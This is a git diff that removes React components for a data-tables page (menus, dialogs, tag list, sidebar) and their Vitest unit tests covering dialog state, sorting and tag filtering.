@@ -1,53 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuItem,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import useDataTableListItemDropdownMenu from '@/pages/automation/datatables/components/hooks/useDataTableListItemDropdownMenu';
-import {CopyIcon, DownloadIcon, EditIcon, EllipsisVerticalIcon, Trash2Icon} from 'lucide-react';
-
-interface DataTableListItemDropdownMenuProps {
-    baseName: string;
-    dataTableId: string;
-}
-
-const DataTableListItemDropdownMenu = ({baseName, dataTableId}: DataTableListItemDropdownMenuProps) => {
-    const {handleDeleteClick, handleDuplicateClick, handleExportCsvClick, handleRenameClick} =
-        useDataTableListItemDropdownMenu({
-            baseName,
-            dataTableId,
-        });
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button aria-label="Table menu" icon={<EllipsisVerticalIcon />} size="icon" variant="ghost" />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end">
-                <DropdownMenuItem className="dropdown-menu-item" onClick={handleRenameClick}>
-                    <EditIcon /> Rename
-                </DropdownMenuItem>
-
-                <DropdownMenuItem className="dropdown-menu-item" onClick={handleDuplicateClick}>
-                    <CopyIcon /> Duplicate
-                </DropdownMenuItem>
-
-                <DropdownMenuItem className="dropdown-menu-item" onClick={handleExportCsvClick}>
-                    <DownloadIcon /> Export CSV
-                </DropdownMenuItem>
-
-                <DropdownMenuSeparator className="m-0" />
-
-                <DropdownMenuItem className="dropdown-menu-item-destructive" onClick={handleDeleteClick}>
-                    <Trash2Icon /> Delete
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default DataTableListItemDropdownMenu;
diff --git a/client/src/pages/automation/datatables/components/DataTableListItemTagList.tsx b/client/src/pages/automation/datatables/components/DataTableListItemTagList.tsx
deleted file mode 100644
index 43598c0723f..00000000000
--- a/client/src/pages/automation/datatables/components/DataTableListItemTagList.tsx
+++ /dev/null
@@ -1,40 +0,0 @@
-import useDataTableListItemTagList from '@/pages/automation/datatables/components/hooks/useDataTableListItemTagList';
-import TagList from '@/shared/components/TagList';
-import {Tag} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-
-interface DataTableListItemTagListProps {
-    datatableId: string;
-    remainingTags?: Tag[];
-    tags: Tag[];
-}
-
-const convertTagToTagListFormat = (tag: Tag) => ({
-    ...tag,
-    id: tag.id ? Number(tag.id) : undefined,
-});
-
-const DataTableListItemTagList = ({datatableId, remainingTags, tags}: DataTableListItemTagListProps) => {
-    const {updateTagsMutation} = useDataTableListItemTagList({tableId: datatableId});
-
-    const convertedTags = useMemo(() => tags.map(convertTagToTagListFormat), [tags]);
-
-    const convertedRemainingTags = useMemo(() => remainingTags?.map(convertTagToTagListFormat), [remainingTags]);
-
-    return (
-        <TagList
-            getRequest={(_id, newTags) => ({
-                input: {
-                    tableId: datatableId,
-                    tags: newTags.map((tag) => ({id: tag.id ? String(tag.id) : undefined, name: tag.name})),
-                },
-            })}
-            id={+datatableId}
-            remainingTags={convertedRemainingTags}
-            tags={convertedTags}
-            updateTagsMutation={updateTagsMutation}
-        />
-    );
-};
-
-export default DataTableListItemTagList;
diff --git a/client/src/pages/automation/datatables/components/DataTableListItemTooltip.tsx b/client/src/pages/automation/datatables/components/DataTableListItemTooltip.tsx
deleted file mode 100644
index 131f5c1dd2b..00000000000
--- a/client/src/pages/automation/datatables/components/DataTableListItemTooltip.tsx
+++ /dev/null
@@ -1,23 +0,0 @@
-import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-
-interface DataTableListItemTooltipProps {
-    lastModifiedDate?: number | null;
-}
-
-const DataTableListItemTooltip = ({lastModifiedDate}: DataTableListItemTooltipProps) => {
-    const formattedLastModifiedDate = lastModifiedDate ? new Date(lastModifiedDate).toLocaleString() : null;
-
-    return (
-        <Tooltip>
-            <TooltipTrigger>
-                <div className="flex items-center text-sm text-muted-foreground sm:mt-0">
-                    <span className="text-xs">{`Last modified: ${formattedLastModifiedDate ?? 'N/A'}`}</span>
-                </div>
-            </TooltipTrigger>
-
-            <TooltipContent>{formattedLastModifiedDate ?? 'Last Modified Date'}</TooltipContent>
-        </Tooltip>
-    );
-};
-
-export default DataTableListItemTooltip;
diff --git a/client/src/pages/automation/datatables/components/DataTablesFilterTitle.tsx b/client/src/pages/automation/datatables/components/DataTablesFilterTitle.tsx
deleted file mode 100644
index 399258559c1..00000000000
--- a/client/src/pages/automation/datatables/components/DataTablesFilterTitle.tsx
+++ /dev/null
@@ -1,34 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import useDataTablesFilterTitle from '@/pages/automation/datatables/components/hooks/useDataTablesFilterTitle';
-import {DataTableTagsEntry, Tag} from '@/shared/middleware/graphql';
-
-interface DataTablesFilterTitleProps {
-    allTags: Tag[];
-    tagsByTableData: DataTableTagsEntry[];
-}
-
-const DataTablesFilterTitle = ({allTags, tagsByTableData}: DataTablesFilterTitleProps) => {
-    const {pageTitle, tagId} = useDataTablesFilterTitle({allTags, tagsByTableData});
-
-    return (
-        <div className="space-x-1">
-            <span className="text-sm font-semibold uppercase text-muted-foreground">Filter by </span>
-
-            {tagId ? (
-                <>
-                    <span className="text-sm uppercase text-muted-foreground">tag:</span>
-
-                    <Badge
-                        label={typeof pageTitle === 'string' ? pageTitle : 'Unknown Tag'}
-                        styleType="secondary-filled"
-                        weight="semibold"
-                    />
-                </>
-            ) : (
-                <span className="text-sm uppercase text-muted-foreground">none</span>
-            )}
-        </div>
-    );
-};
-
-export default DataTablesFilterTitle;
diff --git a/client/src/pages/automation/datatables/components/DataTablesLeftSidebarNav.tsx b/client/src/pages/automation/datatables/components/DataTablesLeftSidebarNav.tsx
deleted file mode 100644
index 24d4e17c6ba..00000000000
--- a/client/src/pages/automation/datatables/components/DataTablesLeftSidebarNav.tsx
+++ /dev/null
@@ -1,39 +0,0 @@
-import useDataTablesLeftSidebarNav from '@/pages/automation/datatables/components/hooks/useDataTablesLeftSidebarNav';
-import {LeftSidebarNav, LeftSidebarNavItem} from '@/shared/layout/LeftSidebarNav';
-import {TagIcon} from 'lucide-react';
-
-const DataTablesLeftSidebarNav = () => {
-    const {isLoading, tagId, tags} = useDataTablesLeftSidebarNav();
-
-    if (isLoading || tags.length === 0) {
-        return <></>;
-    }
-
-    return (
-        <LeftSidebarNav
-            body={
-                <>
-                    {tags.length ? (
-                        tags.map((tag) => (
-                            <LeftSidebarNavItem
-                                icon={<TagIcon className="mr-1 size-4" />}
-                                item={{
-                                    current: String(tag.id) === tagId,
-                                    id: tag.id,
-                                    name: tag.name,
-                                }}
-                                key={tag.id}
-                                toLink={`?tagId=${tag.id}`}
-                            />
-                        ))
-                    ) : (
-                        <span className="px-3 text-xs">No defined tags.</span>
-                    )}
-                </>
-            }
-            title="Tags"
-        />
-    );
-};
-
-export default DataTablesLeftSidebarNav;
diff --git a/client/src/pages/automation/datatables/components/DuplicateDataTableDialog.tsx b/client/src/pages/automation/datatables/components/DuplicateDataTableDialog.tsx
deleted file mode 100644
index 9f34d132493..00000000000
--- a/client/src/pages/automation/datatables/components/DuplicateDataTableDialog.tsx
+++ /dev/null
@@ -1,54 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import useDuplicateDataTableDialog from '@/pages/automation/datatables/components/hooks/useDuplicateDataTableDialog';
-
-const DuplicateDataTableDialog = () => {
-    const {
-        canDuplicate,
-        duplicateValue,
-        handleClose,
-        handleDuplicateSubmit,
-        handleDuplicateValueChange,
-        handleOpenChange,
-        open,
-    } = useDuplicateDataTableDialog();
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogContent onClick={(event) => event.stopPropagation()}>
-                <DialogHeader>
-                    <DialogTitle>Duplicate table</DialogTitle>
-
-                    <DialogDescription>Enter a name for the duplicated table.</DialogDescription>
-                </DialogHeader>
-
-                <Input
-                    autoFocus
-                    className="my-2"
-                    onChange={(event) => handleDuplicateValueChange(event.target.value)}
-                    value={duplicateValue}
-                />
-
-                <DialogFooter>
-                    <Button className="shadow-none" onClick={handleClose} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button className="shadow-none" disabled={!canDuplicate} onClick={handleDuplicateSubmit}>
-                        Duplicate
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default DuplicateDataTableDialog;
diff --git a/client/src/pages/automation/datatables/components/RenameDataTableDialog.tsx b/client/src/pages/automation/datatables/components/RenameDataTableDialog.tsx
deleted file mode 100644
index abf5cdca4a1..00000000000
--- a/client/src/pages/automation/datatables/components/RenameDataTableDialog.tsx
+++ /dev/null
@@ -1,52 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import useRenameDataTableDialog from '@/pages/automation/datatables/components/hooks/useRenameDataTableDialog';
-
-const RenameDataTableDialog = () => {
-    const {canRename, handleOpenChange, handleRenameSubmit, handleRenameValueChange, open, renameValue} =
-        useRenameDataTableDialog();
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogContent onClick={(event) => event.stopPropagation()}>
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Rename Table</DialogTitle>
-
-                        <DialogDescription>Enter a new base name for this table.</DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <Input
-                    autoFocus
-                    onChange={(event) => handleRenameValueChange(event.target.value)}
-                    placeholder="Enter new table name"
-                    value={renameValue}
-                />
-
-                <DialogFooter>
-                    <Button onClick={() => handleOpenChange(false)} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canRename} onClick={handleRenameSubmit}>
-                        Rename
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default RenameDataTableDialog;
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useCreateDataTableDialog.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useCreateDataTableDialog.test.tsx
deleted file mode 100644
index e1fbcf7625a..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useCreateDataTableDialog.test.tsx
+++ /dev/null
@@ -1,239 +0,0 @@
-import {ColumnType} from '@/shared/middleware/graphql';
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useCreateDataTableDialog from '../useCreateDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        createMutate: vi.fn(),
-        invalidateQueries: vi.fn(),
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useCreateDataTableMutation: vi.fn((options: {onSuccess: () => void}) => ({
-            isPending: false,
-            mutate: (vars: unknown) => {
-                hoisted.createMutate(vars);
-                options.onSuccess();
-            },
-        })),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: vi.fn(() => 2),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn(() => 1049),
-}));
-
-describe('useCreateDataTableDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns initial state as closed', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.baseName).toBe('');
-            expect(result.current.description).toBe('');
-            expect(result.current.columns).toHaveLength(1);
-        });
-
-        it('returns canSubmit as false initially', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-    });
-
-    describe('open dialog', () => {
-        it('opens dialog', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-    });
-
-    describe('close dialog', () => {
-        it('closes dialog', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('form state', () => {
-        it('updates baseName via handleBaseNameChange', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleBaseNameChange('orders');
-            });
-
-            expect(result.current.baseName).toBe('orders');
-        });
-
-        it('updates description via handleDescriptionChange', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleDescriptionChange('Order data');
-            });
-
-            expect(result.current.description).toBe('Order data');
-        });
-
-        it('adds column', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleAddColumn();
-            });
-
-            expect(result.current.columns).toHaveLength(2);
-        });
-
-        it('removes column', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleAddColumn();
-            });
-
-            act(() => {
-                result.current.handleRemoveColumn(0);
-            });
-
-            expect(result.current.columns).toHaveLength(1);
-        });
-
-        it('updates column name', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleColumnNameChange(0, 'product_id');
-            });
-
-            expect(result.current.columns[0].name).toBe('product_id');
-        });
-
-        it('updates column type', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleColumnTypeChange(0, ColumnType.Number);
-            });
-
-            expect(result.current.columns[0].type).toBe(ColumnType.Number);
-        });
-    });
-
-    describe('canSubmit', () => {
-        it('returns true when baseName and column names are provided', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleBaseNameChange('orders');
-                result.current.handleColumnNameChange(0, 'order_id');
-            });
-
-            expect(result.current.canSubmit).toBe(true);
-        });
-
-        it('returns false when baseName is empty', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleColumnNameChange(0, 'order_id');
-            });
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-
-        it('returns false when column name is empty', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleBaseNameChange('orders');
-            });
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-    });
-
-    describe('handle create', () => {
-        it('calls create mutation with correct data', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleBaseNameChange('orders');
-                result.current.handleDescriptionChange('Order data');
-                result.current.handleColumnNameChange(0, 'order_id');
-                result.current.handleColumnTypeChange(0, ColumnType.Integer);
-            });
-
-            act(() => {
-                result.current.handleCreate();
-            });
-
-            expect(hoisted.createMutate).toHaveBeenCalledWith({
-                input: {
-                    baseName: 'orders',
-                    columns: [{name: 'order_id', type: ColumnType.Integer}],
-                    description: 'Order data',
-                    environmentId: '2',
-                    workspaceId: '1049',
-                },
-            });
-        });
-
-        it('resets form after successful create', () => {
-            const {result} = renderHook(() => useCreateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen();
-                result.current.handleBaseNameChange('orders');
-                result.current.handleColumnNameChange(0, 'order_id');
-            });
-
-            act(() => {
-                result.current.handleCreate();
-            });
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.baseName).toBe('');
-            expect(result.current.columns).toHaveLength(1);
-            expect(result.current.columns[0].name).toBe('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useDataTableList.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useDataTableList.test.tsx
deleted file mode 100644
index 31cc5115628..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useDataTableList.test.tsx
+++ /dev/null
@@ -1,44 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTableList from '../useDataTableList';
-
-const mockTables = [
-    {baseName: 'Table 10', columns: [], id: '1', lastModifiedDate: 1704067200000},
-    {baseName: 'Table 2', columns: [], id: '2', lastModifiedDate: 1704153600000},
-    {baseName: 'Table 1', columns: [], id: '3', lastModifiedDate: 1704240000000},
-];
-
-const mockTagsByTableData = [
-    {tableId: '1', tags: [{id: '1', name: 'Tag1'}]},
-    {tableId: '2', tags: [{id: '2', name: 'Tag2'}]},
-];
-
-describe('useDataTableList', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('sorted tables', () => {
-        it('sorts tables by baseName in natural order', () => {
-            const {result} = renderHook(() =>
-                useDataTableList({dataTables: mockTables, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.sortedTables[0].baseName).toBe('Table 1');
-            expect(result.current.sortedTables[1].baseName).toBe('Table 2');
-            expect(result.current.sortedTables[2].baseName).toBe('Table 10');
-        });
-    });
-
-    describe('tags by table map', () => {
-        it('returns tags map', () => {
-            const {result} = renderHook(() =>
-                useDataTableList({dataTables: mockTables, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.tagsByTableMap.get('1')).toHaveLength(1);
-            expect(result.current.tagsByTableMap.get('1')?.[0].name).toBe('Tag1');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useDataTableListItem.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useDataTableListItem.test.tsx
deleted file mode 100644
index 8e408ced8b8..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useDataTableListItem.test.tsx
+++ /dev/null
@@ -1,135 +0,0 @@
-import {ColumnType, DataTable} from '@/shared/middleware/graphql';
-import {act, renderHook} from '@testing-library/react';
-import {MouseEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTableListItem from '../useDataTableListItem';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        navigate: vi.fn(),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useNavigate: vi.fn(() => hoisted.navigate),
-}));
-
-const createMockTable = (columnCount: number): DataTable => ({
-    baseName: 'test-table',
-    columns: Array.from({length: columnCount}, (_, index) => ({
-        __typename: 'DataTableColumn' as const,
-        id: `col-${index}`,
-        name: `column-${index}`,
-        type: ColumnType.String,
-    })),
-    id: 'table-123',
-});
-
-describe('useDataTableListItem', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('columnCountLabel', () => {
-        it('returns "0 columns" when table has no columns', () => {
-            const table = createMockTable(0);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            expect(result.current.columnCountLabel).toBe('0 columns');
-        });
-
-        it('returns "1 column" (singular) when table has exactly one column', () => {
-            const table = createMockTable(1);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            expect(result.current.columnCountLabel).toBe('1 column');
-        });
-
-        it('returns "2 columns" (plural) when table has multiple columns', () => {
-            const table = createMockTable(2);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            expect(result.current.columnCountLabel).toBe('2 columns');
-        });
-
-        it('returns "5 columns" for five columns', () => {
-            const table = createMockTable(5);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            expect(result.current.columnCountLabel).toBe('5 columns');
-        });
-
-        it('returns "0 columns" when columns is empty', () => {
-            const table: DataTable = {
-                baseName: 'test-table',
-                columns: [],
-                id: 'table-123',
-            };
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            expect(result.current.columnCountLabel).toBe('0 columns');
-        });
-    });
-
-    describe('handleDataTableListItemTagListClick', () => {
-        it('calls preventDefault on the event', () => {
-            const table = createMockTable(1);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            const mockEvent = {
-                preventDefault: vi.fn(),
-                stopPropagation: vi.fn(),
-            } as unknown as MouseEvent;
-
-            act(() => {
-                result.current.handleDataTableListItemTagListClick(mockEvent);
-            });
-
-            expect(mockEvent.preventDefault).toHaveBeenCalled();
-        });
-
-        it('calls stopPropagation on the event', () => {
-            const table = createMockTable(1);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            const mockEvent = {
-                preventDefault: vi.fn(),
-                stopPropagation: vi.fn(),
-            } as unknown as MouseEvent;
-
-            act(() => {
-                result.current.handleDataTableListItemTagListClick(mockEvent);
-            });
-
-            expect(mockEvent.stopPropagation).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleRowClick', () => {
-        it('navigates to the correct datatable URL', () => {
-            const table = createMockTable(1);
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            act(() => {
-                result.current.handleRowClick();
-            });
-
-            expect(hoisted.navigate).toHaveBeenCalledWith('/automation/datatables/table-123');
-        });
-
-        it('navigates to different table IDs correctly', () => {
-            const table: DataTable = {
-                ...createMockTable(1),
-                id: 'different-table-id',
-            };
-            const {result} = renderHook(() => useDataTableListItem({table}));
-
-            act(() => {
-                result.current.handleRowClick();
-            });
-
-            expect(hoisted.navigate).toHaveBeenCalledWith('/automation/datatables/different-table-id');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useDataTables.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useDataTables.test.tsx
deleted file mode 100644
index b480d35d418..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useDataTables.test.tsx
+++ /dev/null
@@ -1,117 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTables from '../useDataTables';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockSearchParams: new URLSearchParams(),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useSearchParams: vi.fn(() => [hoisted.mockSearchParams]),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: vi.fn(() => 2),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn(() => 1049),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useDataTableTagsByTableQuery: vi.fn(() => ({
-            data: {
-                dataTableTagsByTable: [
-                    {tableId: '1', tags: [{id: '1', name: 'Tag1'}]},
-                    {tableId: '2', tags: [{id: '2', name: 'Tag2'}]},
-                ],
-            },
-        })),
-        useDataTableTagsQuery: vi.fn(() => ({
-            data: {
-                dataTableTags: [
-                    {id: '1', name: 'Tag1'},
-                    {id: '2', name: 'Tag2'},
-                ],
-            },
-        })),
-        useDataTablesQuery: vi.fn(() => ({
-            data: {
-                dataTables: [
-                    {baseName: 'Table1', columns: [], id: '1', lastModifiedDate: '2024-01-01'},
-                    {baseName: 'Table2', columns: [], id: '2', lastModifiedDate: '2024-01-02'},
-                    {baseName: 'Table3', columns: [], id: '3', lastModifiedDate: '2024-01-03'},
-                ],
-            },
-            error: null,
-            isLoading: false,
-        })),
-    };
-});
-
-describe('useDataTables', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.mockSearchParams = new URLSearchParams();
-    });
-
-    describe('initial state', () => {
-        it('returns tables from query', () => {
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.tables).toHaveLength(3);
-        });
-
-        it('returns isLoading as false', () => {
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.isLoading).toBe(false);
-        });
-
-        it('returns error as null', () => {
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.error).toBeNull();
-        });
-    });
-
-    describe('without tag filter', () => {
-        it('returns all tables as filteredTables', () => {
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.filteredTables).toHaveLength(3);
-        });
-
-        it('returns tagId as undefined', () => {
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.tagId).toBeUndefined();
-        });
-    });
-
-    describe('with tag filter', () => {
-        it('returns tagId from search params', () => {
-            hoisted.mockSearchParams = new URLSearchParams('tagId=1');
-
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.tagId).toBe('1');
-        });
-
-        it('filters tables by tag', () => {
-            hoisted.mockSearchParams = new URLSearchParams('tagId=1');
-
-            const {result} = renderHook(() => useDataTables());
-
-            expect(result.current.filteredTables).toHaveLength(1);
-            expect(result.current.filteredTables[0].id).toBe('1');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useDataTablesFilterTitle.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useDataTablesFilterTitle.test.tsx
deleted file mode 100644
index 23d6613d6c1..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useDataTablesFilterTitle.test.tsx
+++ /dev/null
@@ -1,78 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTablesFilterTitle from '../useDataTablesFilterTitle';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockSearchParams: new URLSearchParams(),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useSearchParams: vi.fn(() => [hoisted.mockSearchParams]),
-}));
-
-const mockAllTags = [
-    {id: '1', name: 'Tag1'},
-    {id: '2', name: 'Tag2'},
-];
-
-const mockTagsByTableData = [{tableId: '1', tags: [{id: '1', name: 'Tag1'}]}];
-
-describe('useDataTablesFilterTitle', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.mockSearchParams = new URLSearchParams();
-    });
-
-    describe('without tag filter', () => {
-        it('returns tagId as null', () => {
-            const {result} = renderHook(() =>
-                useDataTablesFilterTitle({allTags: mockAllTags, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.tagId).toBeNull();
-        });
-
-        it('returns pageTitle as undefined', () => {
-            const {result} = renderHook(() =>
-                useDataTablesFilterTitle({allTags: mockAllTags, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.pageTitle).toBeUndefined();
-        });
-    });
-
-    describe('with tag filter', () => {
-        it('returns tagId from search params', () => {
-            hoisted.mockSearchParams = new URLSearchParams('tagId=1');
-
-            const {result} = renderHook(() =>
-                useDataTablesFilterTitle({allTags: mockAllTags, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.tagId).toBe('1');
-        });
-
-        it('returns pageTitle from global tags', () => {
-            hoisted.mockSearchParams = new URLSearchParams('tagId=1');
-
-            const {result} = renderHook(() =>
-                useDataTablesFilterTitle({allTags: mockAllTags, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.pageTitle).toBe('Tag1');
-        });
-
-        it('returns pageTitle from byTable tags when not in global', () => {
-            hoisted.mockSearchParams = new URLSearchParams('tagId=1');
-
-            const {result} = renderHook(() =>
-                useDataTablesFilterTitle({allTags: mockAllTags, tagsByTableData: mockTagsByTableData})
-            );
-
-            expect(result.current.pageTitle).toBe('Tag1');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useDataTablesLeftSidebarNav.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useDataTablesLeftSidebarNav.test.tsx
deleted file mode 100644
index b4d1defea8c..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useDataTablesLeftSidebarNav.test.tsx
+++ /dev/null
@@ -1,69 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDataTablesLeftSidebarNav from '../useDataTablesLeftSidebarNav';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockSearchParams: new URLSearchParams(),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useSearchParams: vi.fn(() => [hoisted.mockSearchParams]),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useDataTableTagsQuery: vi.fn(() => ({
-            data: {
-                dataTableTags: [
-                    {id: '1', name: 'Tag1'},
-                    {id: '2', name: 'Tag2'},
-                ],
-            },
-            isLoading: false,
-        })),
-    };
-});
-
-describe('useDataTablesLeftSidebarNav', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.mockSearchParams = new URLSearchParams();
-    });
-
-    describe('initial state', () => {
-        it('returns tags from query', () => {
-            const {result} = renderHook(() => useDataTablesLeftSidebarNav());
-
-            expect(result.current.tags).toHaveLength(2);
-            expect(result.current.tags[0].name).toBe('Tag1');
-        });
-
-        it('returns isLoading as false', () => {
-            const {result} = renderHook(() => useDataTablesLeftSidebarNav());
-
-            expect(result.current.isLoading).toBe(false);
-        });
-
-        it('returns tagId as null when no search params', () => {
-            const {result} = renderHook(() => useDataTablesLeftSidebarNav());
-
-            expect(result.current.tagId).toBeNull();
-        });
-    });
-
-    describe('with tag filter', () => {
-        it('returns tagId from search params', () => {
-            hoisted.mockSearchParams = new URLSearchParams('tagId=1');
-
-            const {result} = renderHook(() => useDataTablesLeftSidebarNav());
-
-            expect(result.current.tagId).toBe('1');
-        });
-    });
-});
